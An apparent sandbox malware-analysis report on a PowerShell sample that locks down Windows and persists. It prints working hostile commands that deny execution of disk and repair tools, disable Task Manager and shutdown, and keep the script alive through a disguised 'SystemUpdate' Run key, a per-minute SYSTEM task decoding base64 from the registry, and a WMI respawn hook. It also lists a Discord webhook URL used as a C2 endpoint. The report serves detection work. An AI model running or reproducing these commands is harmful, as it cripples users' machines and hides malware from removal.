Analysis
- max time kernel
30s - max time network
31s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
19/06/2026, 20:02
Static task
static1
Behavioral task
behavioral1
Sample
target.ps1
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
target.ps1
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
target.ps1
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
target.ps1
Resource
win11ltsc2024-20260618-en
General
- Target target.ps1
- Size 12KB
- Sample260619-yr7h4sbs8l
- SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
- MD5 4c47e1405c6fa862f6cda3b2d2a82469
- SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
- SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
- SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
- TLSH T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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ps1
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exe.dropper
https://discord.com/api/webhooks/1517617235458396332/8x5Z8fIvZEa17_4ju_jle3I3XrxTk4jUoZlAnGuNiiKeW-HDZ1T1kzcba-vkbCOZYdVi
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 872 powershell.exe -
pid Process 1716 powershell.exe 2252 powershell.exe 3352 powershell.exe 872 powershell.exe 2032 powershell.exe 4856 powershell.exe 4764 powershell.exe 1036 powershell.exe 2404 powershell.exe 2684 powershell.exe - Possible privilege escalation attempt 28 IoCs
pid Process 5076 takeown.exe 2732 takeown.exe 4628 icacls.exe 4776 icacls.exe 3340 takeown.exe 1520 icacls.exe 3680 icacls.exe 2128 icacls.exe 3968 takeown.exe 1700 icacls.exe 2172 takeown.exe 4708 icacls.exe 4848 icacls.exe 1256 takeown.exe 3660 icacls.exe 3400 takeown.exe 948 icacls.exe 2548 takeown.exe 1564 takeown.exe 4540 takeown.exe 3768 takeown.exe 2148 takeown.exe 996 takeown.exe 2128 takeown.exe 1636 icacls.exe 1056 icacls.exe 2188 icacls.exe 620 icacls.exe - Modifies file permissions 1 TTPs 28 IoCs
pid Process 1564 takeown.exe 1700 icacls.exe 2128 takeown.exe 4540 takeown.exe 4776 icacls.exe 1056 icacls.exe 4708 icacls.exe 3340 takeown.exe 3968 takeown.exe 3768 takeown.exe 3660 icacls.exe 948 icacls.exe 1636 icacls.exe 2188 icacls.exe 620 icacls.exe 4848 icacls.exe 3680 icacls.exe 3400 takeown.exe 2128 icacls.exe 4628 icacls.exe 5076 takeown.exe 2732 takeown.exe 1256 takeown.exe 1520 icacls.exe 2548 takeown.exe 2148 takeown.exe 996 takeown.exe 2172 takeown.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\"" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\"" powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 10 discord.com 11 discord.com - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3444 schtasks.exe 3508 schtasks.exe - Suspicious behavior: EnumeratesProcesses 23 IoCs
pid Process 2252 powershell.exe 2252 powershell.exe 2404 powershell.exe 2684 powershell.exe 2404 powershell.exe 872 powershell.exe 2684 powershell.exe 872 powershell.exe 2032 powershell.exe 2032 powershell.exe 2032 powershell.exe 4856 powershell.exe 4856 powershell.exe 1716 powershell.exe 1716 powershell.exe 4856 powershell.exe 1716 powershell.exe 3352 powershell.exe 3352 powershell.exe 4764 powershell.exe 1036 powershell.exe 4764 powershell.exe 1036 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe Token: 34 2252 powershell.exe Token: 35 2252 powershell.exe Token: 36 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe Token: 34 2252 powershell.exe Token: 35 2252 powershell.exe Token: 36 2252 powershell.exe Token: SeIncreaseQuotaPrivilege 2252 powershell.exe Token: SeSecurityPrivilege 2252 powershell.exe Token: SeTakeOwnershipPrivilege 2252 powershell.exe Token: SeLoadDriverPrivilege 2252 powershell.exe Token: SeSystemProfilePrivilege 2252 powershell.exe Token: SeSystemtimePrivilege 2252 powershell.exe Token: SeProfSingleProcessPrivilege 2252 powershell.exe Token: SeIncBasePriorityPrivilege 2252 powershell.exe Token: SeCreatePagefilePrivilege 2252 powershell.exe Token: SeBackupPrivilege 2252 powershell.exe Token: SeRestorePrivilege 2252 powershell.exe Token: SeShutdownPrivilege 2252 powershell.exe Token: SeDebugPrivilege 2252 powershell.exe Token: SeSystemEnvironmentPrivilege 2252 powershell.exe Token: SeRemoteShutdownPrivilege 2252 powershell.exe Token: SeUndockPrivilege 2252 powershell.exe Token: SeManageVolumePrivilege 2252 powershell.exe Token: 33 2252 powershell.exe Token: 34 2252 powershell.exe Token: 35 2252 powershell.exe Token: 36 2252 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2252 wrote to memory of 1772 2252 powershell.exe 90 PID 2252 wrote to memory of 2140 2252 powershell.exe 92 PID 2252 wrote to memory of 4632 2252 powershell.exe 94 PID 2252 wrote to memory of 3312 2252 powershell.exe 96 PID 1772 wrote to memory of 5076 1772 cmd.exe 98 PID 2252 wrote to memory of 4260 2252 powershell.exe 99 PID 2140 wrote to memory of 3768 2140 cmd.exe 101 PID 1772 wrote to memory of 4848 1772 cmd.exe 102 PID 4632 wrote to memory of 2732 4632 cmd.exe 151 PID 2252 wrote to memory of 4784 2252 powershell.exe 104 PID 3312 wrote to memory of 1256 3312 cmd.exe 106 PID 2140 wrote to memory of 1520 2140 cmd.exe 107 PID 3312 wrote to memory of 3660 3312 cmd.exe 156 PID 4632 wrote to memory of 3680 4632 cmd.exe 157 PID 4260 wrote to memory of 3400 4260 cmd.exe 110 PID 2252 wrote to memory of 744 2252 powershell.exe 111 PID 4260 wrote to memory of 948 4260 cmd.exe 113 PID 2252 wrote to memory of 4092 2252 powershell.exe 114 PID 4784 wrote to memory of 2548 4784 cmd.exe 116 PID 2252 wrote to memory of 4380 2252 powershell.exe 117 PID 2252 wrote to memory of 4968 2252 powershell.exe 119 PID 4784 wrote to memory of 2128 4784 cmd.exe 165 PID 2252 wrote to memory of 2404 2252 powershell.exe 122 PID 744 wrote to memory of 416 744 cmd.exe 124 PID 2252 wrote to memory of 3000 2252 powershell.exe 125 PID 4380 wrote to memory of 4364 4380 cmd.exe 127 PID 4968 wrote to memory of 1484 4968 cmd.exe 128 PID 2252 wrote to memory of 3224 2252 powershell.exe 129 PID 4092 wrote to memory of 4524 4092 cmd.exe 131 PID 2252 wrote to memory of 2684 2252 powershell.exe 132 PID 2252 wrote to memory of 872 2252 powershell.exe 134 PID 3000 wrote to memory of 3968 3000 cmd.exe 136 PID 3000 wrote to memory of 4628 3000 cmd.exe 138 PID 3224 wrote to memory of 3444 3224 cmd.exe 186 PID 872 wrote to memory of 380 872 powershell.exe 140 PID 872 wrote to memory of 1756 872 powershell.exe 142 PID 872 wrote to memory of 4220 872 powershell.exe 144 PID 872 wrote to memory of 1648 872 powershell.exe 146 PID 872 wrote to memory of 3388 872 powershell.exe 148 PID 872 wrote to memory of 4352 872 powershell.exe 150 PID 380 wrote to memory of 2148 380 cmd.exe 152 PID 872 wrote to memory of 1804 872 powershell.exe 153 PID 1756 wrote to memory of 1564 1756 cmd.exe 155 PID 872 wrote to memory of 3660 872 powershell.exe 156 PID 872 wrote to memory of 4544 872 powershell.exe 158 PID 380 wrote to memory of 1700 380 cmd.exe 160 PID 1648 wrote to memory of 996 1648 cmd.exe 161 PID 872 wrote to memory of 3924 872 powershell.exe 162 PID 3388 wrote to memory of 2172 3388 cmd.exe 164 PID 4220 wrote to memory of 2128 4220 cmd.exe 165 PID 4352 wrote to memory of 4540 4352 cmd.exe 166 PID 872 wrote to memory of 2032 872 powershell.exe 167 PID 1648 wrote to memory of 1636 1648 cmd.exe 168 PID 1756 wrote to memory of 4776 1756 cmd.exe 169 PID 872 wrote to memory of 4432 872 powershell.exe 171 PID 872 wrote to memory of 768 872 powershell.exe 173 PID 1804 wrote to memory of 376 1804 cmd.exe 175 PID 872 wrote to memory of 4856 872 powershell.exe 176 PID 3660 wrote to memory of 3448 3660 cmd.exe 177 PID 3388 wrote to memory of 4708 3388 cmd.exe 179 PID 872 wrote to memory of 1716 872 powershell.exe 180 PID 4352 wrote to memory of 1056 4352 cmd.exe 182 PID 3924 wrote to memory of 2332 3924 cmd.exe 183 PID 4220 wrote to memory of 2188 4220 cmd.exe 184
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\diskpart.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:5076
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4848
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\format.com"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3768
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\format.com" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1520
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\cleanmgr.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2732
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3680
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:3312 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\defrag.exe"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1256
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3660
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\diskmgmt.msc"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3400
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:948
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)2⤵
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\compmgmt.msc"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2548
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2128
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f2⤵
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f3⤵PID:416
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f3⤵PID:4524
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵PID:4364
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f3⤵PID:1484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2404
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)2⤵
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3968
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C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4628
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f2⤵
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command3⤵
- Scheduled Task/Job: Scheduled Task
PID:3444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\diskpart.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2148
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1700
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\format.com"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1564
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\format.com" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4776
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\cleanmgr.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2128
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2188
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\defrag.exe"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:996
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1636
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\diskmgmt.msc"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2172
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4708
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)3⤵
- Suspicious use of WriteProcessMemory
PID:4352 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2732
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C:\Windows\system32\takeown.exetakeown /f "C:\Windows\System32\compmgmt.msc"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4540
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C:\Windows\system32\icacls.exeicacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1056
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f3⤵
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f4⤵PID:376
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:3680
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f4⤵PID:3448
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵PID:4544
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C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵PID:3444
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f4⤵PID:2332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2032
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)3⤵PID:4432
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C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3340
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C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:620
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f3⤵PID:768
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C:\Windows\system32\schtasks.exeschtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command4⤵
- Scheduled Task/Job: Scheduled Task
PID:3508
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4856
